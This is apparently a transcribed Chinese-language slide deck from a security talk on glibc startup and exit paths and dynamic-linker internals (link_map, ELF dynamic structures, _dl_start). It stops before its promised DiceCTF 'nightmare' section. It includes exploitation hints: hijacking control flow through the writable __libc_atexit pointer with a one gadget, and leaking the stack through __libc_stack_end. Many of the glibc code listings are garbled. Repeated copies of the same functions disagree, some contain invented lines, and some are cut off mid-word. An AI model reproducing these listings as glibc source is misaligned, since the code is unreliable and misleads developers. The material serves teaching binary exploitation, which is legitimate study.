



Link Start

🎃 @ DeepHack 2/27



Outline

- ▶ Introduction
- ▶ DL Start
- ▶ DL Ing
- ▶ DL End
- ▶ DL Summary
- ▶ DiceCTF_2022 - **nightmare**







Introduction

\$ Introduction

► 一支程式的週期




\$ Introduction



\$ Introduction

_start


- ▶ 又叫做 C runtime、Crt0、Crt1 等等，檔案位於 `/usr/lib/x86_64-linux-gnu/Scrt1.o`
- ▶ 唯一功能為設定參數後呼叫 `__libc_start_main`



```
0: endbr64
4: xor    ebp,ebp
6: mov    r9,rdx
9: pop    rsi
a: mov    rdx,rsp
d: and    rsp,0xfffffffffffff0
11: push   rax
12: push   rsp
13: mov    r8,QWORD PTR [rip+0x0]
1a: mov    rcx,QWORD PTR [rip+0x0]
21: mov    rdi,QWORD PTR [rip+0x0]
28: call   QWORD PTR [rip+0x0]
2e: int
```

呼叫 `__libc_start_main`


\$ Introduction



\$ Introduction

__libc_start_main

- ▶ 註冊 DL destructor
- ▶ 執行 init function
- ▶ 執行 main function
- ▶ 呼叫 exit



```
u1f383@u1f383:/
```

```
$
```

```
STATIC int
LIBC_START_MAIN(int (*main)(int, char **, char **MAIN_AUXVEC_DECL),
                int argc, char **argv,
                __typeof(main) init,
                void (*fini)(void),
                void (*rtld_fini)(void), void *stack_end)
{
    if (__glibc_likely(rtld_fini != NULL))
        __cxa_atexit((void (*)(void *))rtld_fini, NULL, NULL);

    if (init)
        (*init)(argc, argv, __environ MAIN_AUXVEC_PARAM);

    result = main(argc, argv, __environ MAIN_AUXVEC_PARAM);

    exit(result);
}
```

\$ Introduction

__libc_start_main

- ▶ 註冊 DL destructor
- ▶ 執行 init function
- ▶ 執行 main function
- ▶ 呼叫 exit

```
u1f383@u1f383:/
```

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```
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LIBC_START_MAIN(int (*main)(int, char **, char **MAIN_AUXVEC_DECL),  
                int argc, char **argv,  
                __typeof(main) init,  
                void (*fini)(void),  
                void (*rtld_fini)(void), void *stack_end)  
{  
    if (__glibc_likely(rtld_fini != NULL))  
        __cxa_atexit((void (*)(void *))rtld_fini, NULL, NULL);  
  
    跟我們所知的 main 參數基本上相同 (argc / argv...)，不  
    過會把指向 stack 的 pointer 放到 stack 傳進來  
  
    exit(result);  
}
```

\$ Introduction

__libc_start_main

- ▶ 註冊 DL destructor
- ▶ 執行 init function
- ▶ 執行 main function
- ▶ 呼叫 exit

```
u1f383@u1f383:/
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```
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                __typeof(main) init,  
                void (*fini)(void),  
                void (*rtld_fini)(void), void *stack_end)  
{  
    if (__glibc_likely(rtld_fini != NULL))  
        __cxa_atexit((void (*)(void *))rtld_fini, NULL, NULL);  
}
```

透過 atexit 時來註冊終止程式前要呼叫的 function，
一般情況下 rtld_fini == **_dl_fini**

\$ Introduction

__libc_start_main

- ▶ 註冊 DL destructor
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```
u1f383@u1f383:/
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```
$
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```
STATIC int  
LIBC_START_MAIN(int (*main)(int, char **, char **MAIN_AUXVEC_DECL),  
                int argc, char **argv,  
                __typeof(main) init,  
                void (*fini)(void),  
                void (*rtld_fini)(void), void *stack_end)  
{  
    if (__glibc_likely(rtld_fini != NULL))  
        __cxa_atexit((void (*)(void *))rtld_fini, NULL, NULL);  
  
    if (init)  
        (*init)(argc, argv, __environ MAIN_AUXVEC_PARAM);  
}
```


一般情況下 init == `__libc_csu_init`，而在
`__libc_csu_init` 當中還會去呼叫 **init function array** 的
每個 element

\$ Introduction

__libc_start_main

- ▶ 註冊 DL destructor
- ▶ 執行 init function
- ▶ 執行 main function
- ▶ 呼叫 exit

```
__attribute__((constructor))
void owo()
{
    puts("OWO");
}
```



```
STATIC int
LIBC_START_MAIN(int (*main)(int, char **, char **MAIN_AUXVEC_DECL),
                int argc, char **argv,
                __typeof(main) init,
                void (*fini)(void),
                void (*rtld_fini)(void), void *stack_end)
{
    if (__glibc_likely(rtld_fini != NULL))
        __cxa_atexit((void (*)(void *))rtld_fini, NULL, NULL);

    if (init)
        (*init)(argc, argv, _environ MAIN_AUXVEC_PARAM);

    result = main(argc, argv, _environ MAIN_AUXVEC_PARAM);

    exit(result);
}
```

array element 預設只會有 **register_tm_clones**，
其他的 function 可以透過 attribute 來定義

\$ Introduction

__libc_start_main

- ▶ 註冊 DL destructor
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```
u1f383@u1f383:/
```

```
$
```

```
STATIC int
LIBC_START_MAIN(int (*main)(int, char **, char **MAIN_AUXVEC_DECL),
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                __typeof(main) init,
                void (*fini)(void),
                void (*rtld_fini)(void), void *stack_end)
{
    if (__glibc_likely(rtld_fini != NULL))
        __cxa_atexit((void (*)(void *))rtld_fini, NULL, NULL);

    if (init)
        (*init)(argc, argv, __environ MAIN_AUXVEC_PARAM);

    result = main(argc, argv, __environ MAIN_AUXVEC_PARAM);
```

result = main(argc, argv, __environ MAIN_AUXVEC_PARAM);

```
    exit(result);
}
```

使用者 code 的進入點

\$ Introduction

__libc_start_main

- ▶ 註冊 DL destructor
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- ▶ 執行 main function
- ▶ 呼叫 exit


```
u1f383@u1f383:/
```

```
$
```

```
STATIC int  
LIBC_START_MAIN(int (*main)(int, char **, char **MAIN_AUXVEC_DECL),  
                int argc, char **argv,  
                __typeof(main) init,  
                void (*fini)(void),  
                void (*rtld_fini)(void), void *stack_end)  
{  
    if (__glibc_likely(rtld_fini != NULL))  
        __cxa_atexit((void (*)(void *))rtld_fini, NULL, NULL);  
  
    if (init)  
        (*init)(argc, argv, __environ MAIN_AUXVEC_PARAM);  
  
    result = main(argc, argv, __environ MAIN_AUXVEC_PARAM);  
  
    exit(result);  
}
```


__run_exit_handlers 的 wrapper，
釋放資源以及呼叫 atexit function

\$ Introduction



\$ Introduction __run_exit_handlers

- ▶ 呼叫 TLS destructor
- ▶ 呼叫 atexit function
- ▶ 執行 atexit_hook
- ▶ 呼叫 sys_exit



The screenshot shows a terminal window with the command `u1f383@u1f383:/` in the title bar. The window contains the following C code:

```
void attribute_hidden __run_exit_handlers(int status, struct exit_function_list **listp,
                                         bool run_list_atexit, bool run_dtors)
{
    if (run_dtors)
        __call_tls_dtors();

    while (true)
    {
        struct exit_function_list *cur;
        cur = *listp;

        if (cur == NULL)
            break;

        while (cur->idx > 0)
        {
            struct exit_function *const f = &cur->fns[--cur->idx];
            switch (f->flavor)
            {
                void (*cxa_fct)(void *arg, int status);
                case ef_cxa:
                    f->flavor = ef_free;
                    cxa_fct = f->func.cxa.fn;
                    PTR_DEMANGLE(cxa_fct);
                    cxa_fct(f->func.cxa.arg, status);
                    break;
            }
            *listp = cur->next;
        }

        RUN_HOOK(__libc_atexit, ());
        _exit(status);
    }
}
```

\$ Introduction __run_exit_handlers

- ▶ 呼叫 TLS destructor
- ▶ 呼叫 atexit function
- ▶ 執行 atexit_hook
- ▶ 呼叫 sys_exit



```
void attribute_hidden __run_exit_handlers(int status, struct exit_function_list **listp,
                                         bool run_list_atexit, bool run_dtors)
{
    if (run_dtors)
        __call_tls_dtors();

    while (*listp != NULL)
    {
        if (cur == NULL)
            break;

        while (cur->idx > 0)
        {
            struct exit_function *const f = &cur->fns[--cur->idx];
            switch (f->flavor)
            {
                void (*cxa_fct)(void *arg, int status);
                case ef_cxa:
                    f->flavor = ef_free;
                    cxa_fct = f->func.cxa.fn;
                    PTR_DEMANGLE(cxa_fct);
                    cxa_fct(f->func.cxa.arg, status);
                    break;
            }
            *listp = cur->next;
        }

        RUN_HOOK(__libc_atexit, ());
        _exit(status);
    }
}
```

\$ Introduction __run_exit_handlers

- ▶ 呼叫 TLS destructor
- ▶ 呼叫 atexit function
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- ▶ 呼叫 sys_exit

The image shows two terminal windows side-by-side. The top window displays the implementation of the `__run_exit_handlers` function. It includes logic to call `__call_tls_dtors` if `run_dtors` is true, and a loop that continues until `run_dtors` is false. The bottom window shows the implementation of the `__call_tls_dtors` function, which iterates through a linked list of `dtor_list` structures. It extracts the `func` pointer from each node, demangles it using `PTR_DEMANGLE`, and then moves to the next node in the list.

```
void attribute_hidden __run_exit_handlers(int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors)
{
    if (run_dtors)
        __call_tls_dtors();

    while (true)
    {
        if (!run_dtors)
            break;

        __run_exit_handlers_atexit(listp);
    }
}
```

```
void __call_tls_dtors(void)
{
    struct tls_dtor_list *cur = tls_dtor_list;
    dtor_func func = cur->func;
    PTR_DEMANGLE(func);

    while (tls_dtor_list)
    {
        struct tls_dtor_list *cur = tls_dtor_list;
        dtor_func func = cur->func;
        PTR_DEMANGLE(func);

        tls_dtor_list = tls_dtor_list->next;
    }
}
```

沒辦法很好利用的原因在於 **PTR_DEMANGLE**：
`mangle(ptr) == (ptr ^ fs:[0x30]) << 17`
`demangle(mptr) == (mptr >> 17) ^ fs:[0x30]`

\$ Introduction __run_exit_handlers

- ▶ 呼叫 TLS destructor
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```
void attribute_hidden __run_exit_handlers(int status, struct exit_function_list **listp,
                                         bool run_list_atexit, bool run_dtors)
{
    if (run_dtors)
        __call_tls_dtors();

    while (true)
    {
        switch (f->flavor)
        {
            void (*cxfact)(void *arg, int status);
            case ef_cxa:
                f->flavor = ef_free;
                cxfact = f->func.cxa.fn;
                PTR_DEMANGLE(cxfact);
                cxfact(f->func.cxa.arg, status);
                break;
        }
        *listp = cur->next;
    }


    RUN_HOOK(__libc_atexit, ());
    _exit(status);
}
```

一共有多少種不同的 atexit function type，不過我目前除了 **ef_cxa** 之外還沒看過其他種的。

透過 **atexit** 註冊的 function 會在此被執行，不過也是因為 demangle 的關係不好利用

\$ Introduction __run_exit_handlers

- ▶ 呼叫 TLS destructor
- ▶ 呼叫 atexit function
- ▶ 執行 atexit_hook
- ▶ 呼叫 sys_exit



```
u1f383@u1f383:/
```

```
void attribute_hidden __run_exit_handlers(int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors)
{
    if (run_dtors)
        __call_tls_dtors();

    while (true)
    {
        struct exit_function_list *cur;
        cur = *listp;

        if (cur == NULL)
            break;

        while (cur->idx > 0)
        {
            struct exit_function *const f = &cur->fns[--cur->idx];
            if (f->fn)
                f->fn(f->arg, status);

            if (f->next)
                f = f->next;
            else
                break;
        }
    }
}
```

\$ Introduction __run_exit_handlers

- ▶ 呼叫 TLS destructor
- ▶ 呼叫 atexit function
- ▶ 執行 atexit_hook
- ▶ 呼叫 sys_exit

```
u1f383@u1f383:/  
$ void attribute_hidden __run_exit_handlers(int status, struct exit_function_list **listp,  
                                         bool run_list_atexit, bool run_dtors)  
{  
    if (run_dtors)  
        __call_tls_dtors();  
  
    while (true)  
    {  
        struct exit_function_list *cur;  
        cur = *listp;  
  
        if (cur == NULL)  
            break;  
  
        while (cur->idx > 0)  
        {  
            struct exit_function *const f = &cur->fns[--cur->idx];  
            switch (f->f_type)  
            {  
                case EXIT_TYPE_FUNC:  
                    f->func(status);  
                    break;  
                case EXIT_TYPE_TSD:  
                    __call_tls_dtors();  
                    break;  
                case EXIT_TYPE_ATEXIT:  
                    if (run_list_atexit)  
                        f->func(status);  
                    break;  
            }  
        }  
    }  
}  
  
RUN_HOOK(__libc_atexit, ());  
_exit(status);  
}
```

直接使用 raw pointer 從變數 `_elf_set__libc_atexit_element__IO_cleanup__` 取 function 來呼叫，預設 function 為 `_IO_cleanup`。

此變數為 rw-，並且有滿足條件的 one gadget，因此可以用來控制程式執行流程。

\$ Introduction __run_exit_handlers

- ▶ 呼叫 TLS destructor
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- ▶ 呼叫 sys_exit



```
void attribute_hidden __run_exit_handlers(int status, struct exit_function_list **listp,
                                         bool run_list_atexit, bool run_dtors)
{
    if (run_dtors)
        __call_tls_dtors();

    while (true)
    {
        struct exit_function_list *cur;
        cur = *listp;

        if (cur == NULL)
            break;

        while (cur->idx > 0)
        {
            struct exit_function *const f = &cur->fns[--cur->idx];
            switch (f->flavor)
            {
                void (*cxa_fct)(void *arg, int status);
                case ef_cxa:
                    f->flavor = ef_free;
                    cxa_fct = f->func.cxa.fn;
                    PTR_DEMANGLE(cxa_fct);
                    cxa_fct(f->func.cxa.arg, status);
                    break;
            }
        }
        *listp = cur;
    }

    RUN_HOOK(__libc_atexit, ());
    _exit(status);
}
```

呼叫 syscall exit / exit_group 結束程式



DL Start

\$ DL Start

Struct link_map

- ▶ **link_map** - 動態鏈結相關資訊集大成，每個 binary (executable, ld, libc) 都會有自己的 linkmap，重要的成員有：
 - ⦿ **l_addr** - 儲存動態載入的 base address，應付使用 ASLR 的情況
 - ⦿ **l_info** - 大小為 77 的 array，紀錄 dynamic section 的 metadata
 - ⦿ **l_init_called** - 在執行 _dl_fini 時用來檢查 object 是否已經呼叫過 destructor
- ▶ **_rtld_global._dl_rtld_map** 為在 ld.so 使用的 link_map


\$ DL Start

Struct Elf64_Dyn

► **Elf64_Dyn** - dynamic section 的 metadata，紀錄 section 的種類以及 value / pointer

⦿ d_tag 與 link_map.l_info[] 的 index 相對應，我們比較關注的有：

- > DT_PLTGOT - 3
- > DT_STRTAB - 5
- > DT_SYMTAB - 6
- > DT_DEBUG - 21
- > DT_JMPREL - 23



```
typedef struct
{
    Elf64_Sxword d_tag;
    union
    {
        Elf64_Xword d_val;
        Elf64_Addr d_ptr;
    } d_un;
} Elf64_Dyn;
```


⦿ d_val / d_ptr 取決於 d_tag，上方的 section 都是用 d_ptr，指向 section 資料的起始位址

\$ DL Start

Struct Elf64_Sym

► **Elf64_Sym** - 描述 symbol table entry (DT_SYMTAB) 的結構

- ⦿ st_name - symbol 在 string table 的 offset (DT_STRTAB)
- ⦿ st_info - symbol 的 type
- ⦿ st_other - symbol 的 visibility
- ⦿ st_shndx - symbol 所在的 section index
- ⦿ st_value - 不同類型 object 有不同含意，shared object 則是 symbol 的 offset
- ⦿ st_size - 不同類型的 symbol 有不同含意




```
typedef struct
{
    Elf64_Word      st_name;
    unsigned char   st_info;
    unsigned char   st_other;
    Elf64_Section  st_shndx;
    Elf64_Addr     st_value;
    Elf64_Xword    st_size;
} Elf64_Sym;
```

\$ DL Start

Struct Elf64_Rela

► **Elf64_Rela** - 描述 relocation table entry (DT_JMPREL) 的結構

- ⌚ r_offset - function symbol 解析完後要填入的位址
- ⌚ r_info - relocation type 與 symbol index
- ⌚ r_addend - 最後添加在 address 的偏移




```
typedef struct
{
    Elf64_Addr    r_offset;
    Elf64_Xword   r_info;
    Elf64_Sxword  r_addend;
} Elf64_Rela;
```


\$ DL Start

Other sections

- ▶ DT_PLTGOT - 指向 GOT，存放解析完的 function address
- ▶ DT_STRTAB - 指向 string table，每個 string 為一個 entry
- ▶ DT_DEBUG - 指向變數 `_r_debug`




\$ DL Start



\$ DL Start

_dl_start

- ▶ 取得 ld base address
- ▶ 取得 dynamic section 位址
- ▶ 解析 dynamic entry 並且載入到對應的 l_info[] 當中
- ▶ 處理 dl 的 relocation
- ▶ 執行 _dl_start 的下半段 _dl_start_final



```
u1f383@u1f383:/
```

```
$
#define GL(name) _rtld_global._##name
#define bootstrap_map GL(dl_rtld_map) // _rtld_global._dl_rtld_map
#define BOOTSTRAP_MAP (&bootstrap_map) // &_rtld_global._dl_rtld_map
#define DONT_USE_BOOTSTRAP_MAP 1

static ElfW(Addr) __attribute_used__
_dl_start(void *arg)
{
    bootstrap_map.l_addr = elf_machine_load_address();
    bootstrap_map.l_ld = (void *)bootstrap_map.l_addr + elf_machine_dynamic();
    elf_get_dynamic_info(&bootstrap_map, NULL);

    if (bootstrap_map.l_addr || !bootstrap_map.l_info[VALIDX(DT_GNU_PRELINKED)])
        ELF_DYNAMIC_RELOCATE(&bootstrap_map, 0, 0, 0);

    bootstrap_map.l_relocated = 1;
    ElfW(Addr) entry = _dl_start_final(arg);
    return entry;
}
```

\$ DL Start

_dl_start

- ▶ 取得 ld base address
- ▶ 取得 dynamic section 位址
- ▶ 解析 dynamic entry 並且載入到對應的 l_info[] 當中
- ▶ 處理 dl 的 relocation
- ▶ 執行 _dl_start 的下半段 _dl_start_final

在沒有特別設定的情況下，比較重要的 macro 只有這些，而 ld.so 自己的 link_map 也被稱作 **bootstrap_map**

```
u1f383@u1f383:/
```

```
$
#define GL(name) _rtld_global._##name
#define bootstrap_map GL(dl_rtld_map) // _rtld_global._dl_rtld_map
#define BOOTSTRAP_MAP (&bootstrap_map) // &_rtld_global._dl_rtld_map
#define DONT_USE_BOOTSTRAP_MAP 1

static ElfW(Addr) __attribute_used__
_dl_start(void *arg)
{
    bootstrap_map.l_addr = elf_machine_load_address();
    bootstrap_map.l_ld = (void *)bootstrap_map.l_addr + elf_machine_dynamic();
    elf_get_dynamic_info(&bootstrap_map, NULL);


    if (bootstrap_map.l_addr || !bootstrap_map.l_info[VALIDX(DT_GNU_PRELINKED)])
        ELF_DYNAMIC_RELOCATE(&bootstrap_map, 0, 0, 0);

    bootstrap_map.l_relocated = 1;
    ElfW(Addr) entry = _dl_start_final(arg);
    return entry;
}
```

\$ DL Start

_dl_start

- ▶ 取得 ld base address
- ▶ 取得 dynamic section 位址
- ▶ 解析 dynamic entry 並且載入到對應的 l_info[] 當中
- ▶ 處理 dl 的 relocation
- ▶ 執行 _dl_start 的下半段 _dl_start_final



```
u1f383@u1f383:/
```

```
$
#define GL(name) _rtld_global._##name
#define bootstrap_map GL(dl_rtld_map) // _rtld_global._dl_rtld_map
#define BOOTSTRAP_MAP (&bootstrap_map) // &rtld_global._dl_rtld_map
#define DONT_USE_BOOTSTRAP_MAP 0
static ElfW(Addr) __attribute__((noinline)) _dl_start(void *arg)
{
    bootstrap_map.l_addr = elf_machine_load_address();
    bootstrap_map.l_id = (void *)bootstrap_map.l_addr + elf_machine_dynamic();
    elf_get_dynamic_info(&bootstrap_map, NULL);

    if (bootstrap_map.l_addr || !bootstrap_map.l_info[VALIDX(DT_GNU_PRELINKED)])
        ELF_DYNAMIC_RELOCATE(&bootstrap_map, 0, 0, 0);


    bootstrap_map.l_relocated = 1;
    ElfW(Addr) entry = _dl_start_final(arg);
    return entry;
}
```

從 **_DYNAMIC** 變數取得位址，
並減去 offset 得到 base

\$ DL Start

_dl_start

- ▶ 取得 ld base address
- ▶ 取得 dynamic section 位址
- ▶ 解析 dynamic entry 並且載入到對應的 l_info[] 當中
- ▶ 處理 dl 的 relocation
- ▶ 執行 _dl_start 的下半段 _dl_start_final



```
#define GL(name) _rtld_global._##name
#define bootstrap_map GL(dl_rtld_map) // _rtld_global._dl_rtld_map
#define BOOTSTRAP_MAP (&bootstrap_map) // &_rtld_global._dl_rtld_map
#define DONT_USE_BOOTSTRAP_MAP 1

static ElfW(Addr) __attribute__ ((noinline))
_dl_start(void *arg)
{
    bootstrap_map.l_addr = elf_machine_load_address(),
    bootstrap_map.l_ld = (void *)bootstrap_map.l_addr + elf_machine_dynamic();
    elf_get_dynamic_info(&bootstrap_map, NULL);

    if (bootstrap_map.l_addr || !bootstrap_map.l_info[VALIDX(DT_GNU_PRELINKED)])
        ELF_DYNAMIC_RELOCATE(&bootstrap_map, 0, 0, 0);

    bootstrap_map.l_relocated = 1;
    ElfW(Addr) entry = _dl_start_final(arg);
    return entry;
}
```

Base 加上 offset 得到 dynamic section 的位址

\$ DL Start

_dl_start

- ▶ 取得 ld base address
- ▶ 取得 dynamic section 位址
- ▶ 解析 dynamic entry 並且載入到對應的 l_info[] 當中
- ▶ 處理 dl 的 relocation
- ▶ 執行 _dl_start 的下半段 _dl_start_final



```
#define GL(name) __rtld_global._##name
#define bootstrap_map GL(dl_rtld_map) // __rtld_global._dl_rtld_map
#define BOOTSTRAP_MAP (&bootstrap_map) // &__rtld_global._dl_rtld_map
#define DONT_USE_BOOTSTRAP_MAP 1

static ElfW(Addr) __attribute__((naked))
_dl_start(void *arg)
{
    bootstrap_map.l_addr = 0;
    bootstrap_map.l_ld = (void *)BOOTSTRAP_MAP;
    elf_machine_dynamic();
    elf_get_dynamic_info(&bootstrap_map, NULL);

    if (bootstrap_map.l_addr || !bootstrap_map.l_info[VALIDX(DT_GNU_PRELINKED)])
        ELF_DYNAMIC_RELOCATE(&bootstrap_map, 0, 0, 0);


    bootstrap_map.l_relocated = 1;
    ElfW(Addr) entry = _dl_start_final(arg);
    return entry;
}
```

去 parse ELF header ,
初始化 ld 自己的 l_info

\$ DL Start

_dl_start

- ▶ 取得 ld base address
- ▶ 取得 dynamic section 位址
- ▶ 解析 dynamic entry 並且載入到對應的 l_info[] 當中
- ▶ 處理 dl 的 relocation
- ▶ 執行 _dl_start 的下半段 _dl_start_final



```
u1f383@u1f383:/
```

```
$
#define GL(name) _rtld_global._##name
#define bootstrap_map GL(dl_rtld_map) // _rtld_global._dl_rtld_map
#define BOOTSTRAP_MAP (&bootstrap_map) // &_rtld_global._dl_rtld_map
#define DONT_USE_BOOTSTRAP_MAP 1

static ElfW(Addr) __attribute_used__
_dl_start(v
{
    bootstrap_m
    bootstrap_m
    elf_get_dyne
    if (bootstrap_map.l_addr || !bootstrap_map.l_info[VALIDX(DT_GNU_PRELINKED)])
        ELF_DYNAMIC_RELOCATE(&bootstrap_map, 0, 0, 0);

    bootstrap_map.l_relocated = 1;
    ElfW(Addr) entry = _dl_start_final(arg);
    return entry;
}
```

Id 本身也需要透過 base + offset 的方式動態加載 function / data 的位址

\$ DL Start

_dl_start

- ▶ 取得 ld base address
- ▶ 取得 dynamic section 位址
- ▶ 解析 dynamic entry 並且載入到對應的 l_info[] 當中
- ▶ 處理 dl 的 relocation
- ▶ 執行 _dl_start 的下半段 _dl_start_final



```
u1f383@u1f383:/
```

```
$
#define GL(name) _rtld_global._##name
#define bootstrap_map GL(dl_rtld_map) // _rtld_global._dl_rtld_map
#define BOOTSTRAP_MAP (&bootstrap_map) // &_rtld_global._dl_rtld_map
#define DONT_USE_BOOTSTRAP_MAP 1


static ElfW(Addr) __attribute_used__
_dl_start(void *arg)
{
    bootstrap_map.l_addr = elf_machine_load_address();
    bootstrap_map.l_ld = (void *)bootstrap_map.l_addr + elf_machine_dynamic();
    elf_get_dynamic_index(DT_PLT, &bootstrap_map.l_ld);
    if (bootstrap_map.l_ld == NULL)
        ELF_DYNAMIC_WILL_BE_LOADED_BY_PLT();
    bootstrap_map.l_relocated = 1;
    ElfW(Addr) entry = _dl_start_final(arg);
    return entry;
}
```

下半段的 function 更複雜，因此
拆成一個 function 出來寫

\$ DL Start

_dl_start_final

- ▶ Cache Id 的 link_map
- ▶ 初始化 link_map 的 member
- ▶ 執行 OS-dependent 的 start function



The screenshot shows a terminal window with the command prompt '\$' at the top. The window title is 'u1f383@u1f383:/'. The terminal displays the following C code:

```
static ElfW(Addr) __attribute__((noinline))
__dl_start_final(void *arg, struct dl_start_final_info *info)
{
    __dl_setup_hash(&GL(dl_rtld_map));
    GL(dl_rtld_map).l_real = &GL(dl_rtld_map);
    GL(dl_rtld_map).l_map_start = (ElfW(Addr))_begin;
    GL(dl_rtld_map).l_map_end = (ElfW(Addr))_end;
    GL(dl_rtld_map).l_text_end = (ElfW(Addr))_etext;
    __libc_stack_end = __builtin_frame_address(0);
    start_addr = __dl_sysdep_start(arg, &dl_main);
    return start_addr;
}
```

\$ DL Start

_dl_start_final

- ▶ Cache Id 的 link_map
- ▶ 初始化 link_map 的 member
- ▶ 執行 OS-dependent 的 start function




u1f383@u1f383:/

```
Symbol hash table 一些相關資訊是存在 section 當中，而
此 function 會在處理後 cache 到 link_map 的 member
    _dl_setup_hash(&GL(dl_rtld_map));
    GL(dl_rtld_map).l_real = &GL(dl_rtld_map);
    GL(dl_rtld_map).l_map_start = (ElfW(Addr))_begin;
    GL(dl_rtld_map).l_map_end = (ElfW(Addr))_end;
    GL(dl_rtld_map).l_text_end = (ElfW(Addr))_etext;
    __libc_stack_end = __builtin_frame_address(0);
    start_addr = _dl_sysdep_start(arg, &dl_main);
    return start_addr;
}
```

\$ DL Start

_dl_start_final

- ▶ Cache Id 的 link_map
- ▶ 初始化 link_map 的 member
- ▶ 執行 OS-dependent 的 start function




```
static void _dl_start_final(DLRTLD *rtld)
{
    _dl_setup_hash(&GL(dl_rtld_map));
    GL(dl_rtld_map).l_real = &GL(dl_rtld_map);
    GL(dl_rtld_map).l_map_start = (ElfW(Addr))_begin;
    GL(dl_rtld_map).l_map_end = (ElfW(Addr))_end;
    GL(dl_rtld_map).l_text_end = (ElfW(Addr))_etext;
    __libc_stack_end = __builtin_frame_address(0);
    start_addr = _dl_sysdep_start(arg, &dl_main);
    return start_addr;
}
```

看 member 名稱就能知道儲存的資料為何，而其中
變數 **__libc_stack_end** 可以用來 leak stack

\$ DL Start

_dl_start_final

- ▶ Cache Id 的 link_map
- ▶ 初始化 link_map 的 member
- ▶ 執行 OS-dependent 的 start function



```
static ElfW(Addr) __attribute__((noinline))
_dl_start_final(void *arg, struct dl_start_final_info *info)
{
    __libc_stack_end = __builtin_frame_address(0);
    start_addr = _dl_sysdep_start(arg, &dl_main);
    return start_addr;
}
```

實際上為 **dl_main** 的 wrapper function，不過根據
不同 OS 會透過此 function 做不同的前處理

\$ DL Start

_dl_sysdep_start

- ▶ 初始化 global 變數
- ▶ 根據 auxv 初始化 global 變數以及 link_map 的成員
- ▶ 初始化 tunable、CPU feature 與 heap
- ▶ 呼叫 dl_main
- ▶ 回傳 executable 的 entry point

```
u1f383@u1f383:~$ ElfW(Addr)
    _dl_sysdep_start(void **start_argptr,
                      void (*dl_main)(const ElfW(Phdr) * phdr, ElfW(Word) phnum,
                                      ElfW(Addr) * user_entry, ElfW(auxv_t) * auxv))
{
    ElfW(Addr) user_entry;
    ElfW(auxv_t) * av;
    DL_FIND_ARG_COMPONENTS(start_argptr, _dl_argc, _dl_argv, _environ,
                           GLRO(dl_auxv));

    user_entry = (ElfW(Addr))ENTRY_POINT;
    for (av = GLRO(dl_auxv); av->a_type != AT_NULL; set_seen(av++))
        switch (av->a_type)
        {
            ...
            case AT_PAGESZ:
                GLRO(dl_pagesize) = av->a_un.a_val;
                break;
            ...
            case AT_RANDOM:
                _dl_random = (void *)av->a_un.a_val;
                break;
            DL_PLATFORM_AUXV
        }
    __tunables_init(_environ);

    DL_SYSDEP_INIT;
    DL_PLATFORM_INIT;

    if (GLRO(dl_platform) != NULL)
        GLRO(dl_platformlen) = strlen(GLRO(dl_platform));

    (*dl_main)(phdr, phnum, &user_entry, GLRO(dl_auxv));
    return user_entry;
}
```

\$ DL Start

_dl_sysdep_start

- ▶ 初始化 global 變數
- ▶ 根據 auxv 初始化 global 變數以及 link_map 的成員
- ▶ 初始化 tunable、CPU feature 與 heap
- ▶ 呼叫 dl_main
- ▶ 回傳 executable 的 entry point

```
u1f383@u1f383:~$ ElfW(Addr) _dl_sysdep_start(void **start_argptr,  
void (*dl_main)(const ElfW(Phdr) * phdr, ElfW(Word) phnum,  
ElfW(Addr) * user_entry, ElfW(auxv_t) * auxv)  
{  
    ElfW(Addr) user_entry;  
    ElfW(auxv_t) * av;  
    DL_FIND_ARG_COMPONENTS(start_argptr, _dl_argc, _dl_argv, _environ,  
                           GLRO(dl_auxv));  
  
    user_ent  
    for (av  
        switch  
    {  
        case AT_PHDR:  
            GLRO(av->un_val) = d  
            break;  
        ...  
        case AT_RANDOM:  
            _dl_random = (void *)av->a_un.a_val;  
            break;  
        case AT_PLATFORM:  
            DL_PLATFORM_AUXV  
            }  
            __tunables_init(_environ);  
  
    DL_SYSDEP_INIT;  
    DL_PLATFORM_INIT;  
  
    if (GLRO(dl_platform) != NULL)  
        GLRO(dl_platformlen) = strlen(GLRO(dl_platform));  
  
    (*dl_main)(phdr, phnum, &user_entry, GLRO(dl_auxv));  
    return user_entry;  
}
```

初始化 argc / argv / env 的全域變數以及 auxv 對應的 link_map member

\$ DL Start

_dl_sysdep_start

- ▶ 初始化 global 變數
- ▶ 根據 auxv 初始 global 變數以及 link_map 的成員
- ▶ 初始化 tunable、CPU feature 與 heap
- ▶ 呼叫 dl_main
- ▶ 回傳 executable 的 entry point

```
u1f383@u1f383:~$ ElfW(Addr) _dl_sysdep_start(void **start_argptr, void (*dl_main)(const ElfW(Phdr) * phdr, ElfW(Word) phnum, ElfW(Addr) * user_entry, ElfW(auxv_t) * auxv)) { ElfW(Addr) user_entry; ElfW(auxv_t) * av; DL_FIND_ARG_COMPONENTS(start_argptr, _dl_argc, _dl_argv, _environ, GLRO(dl_auxv)); user_entry = (ElfW(Addr))ENTRY_POINT; for (av = GLRO(dl_auxv); av->a_type != AT_NULL; set_seen(av++)) { ... case AT_PAGESZ: GLRO(dl_pagesize) = av->a_un.a_val; break; ... case AT_RANDOM: _dl_random = (void *)av->a_un.a_val; break; } DL_PLATFORM_AUXV } link_map_init(environ);
```

遍歷 **auxv (auxiliary vector)**，依照 type 把資料填到 link_map member / 全域變數當中

auxv 是用來定義 OS 在執行程式的環境與初始值，像是執行時的 uid / euid 等也會被記錄在裡面

\$ DL Start

_dl_sysdep_start

- ▶ 初始化 global 變數
- ▶ 根據 auxv 初始化 global 變
link_map 的成員
- ▶ 初始化 tunable、CPU feature
- ▶ 呼叫 dl_main
- ▶ 回傳 executable 的 entry point

53:0298	0x7fffffff338 ← 0x21 /* '!' */
54:02a0	0x7fffffff340 → 0x7ffff7fcf000 ← jg 0x7ffff7fcf047
55:02a8	0x7fffffff348 ← 0x10
56:02b0	0x7fffffff350 ← 0xbfebfbff
57:02b8	0x7fffffff358 ← 0x6
pwndbg>	
58:02c0	0x7fffffff360 ← 0x1000
59:02c8	0x7fffffff368 ← 0x11
5a:02d0	0x7fffffff370 ← 0x64 /* 'd' */
5b:02d8	0x7fffffff378 ← 0x3
5c:02e0	0x7fffffff380 → 0x555555554040 ← 0x400000006
5d:02e8	0x7fffffff388 ← 0x4
5e:02f0	0x7fffffff390 ← 0x38 /* '8' */
5f:02f8	0x7fffffff398 ← 0x5
pwndbg>	
60:0300	0x7fffffff3a0 ← 0xd /* '\r' */
61:0308	0x7fffffff3a8 ← 0x7
62:0310	0x7fffffff3b0 → 0x7ffff7fd1000 ← 0x10102464c457f
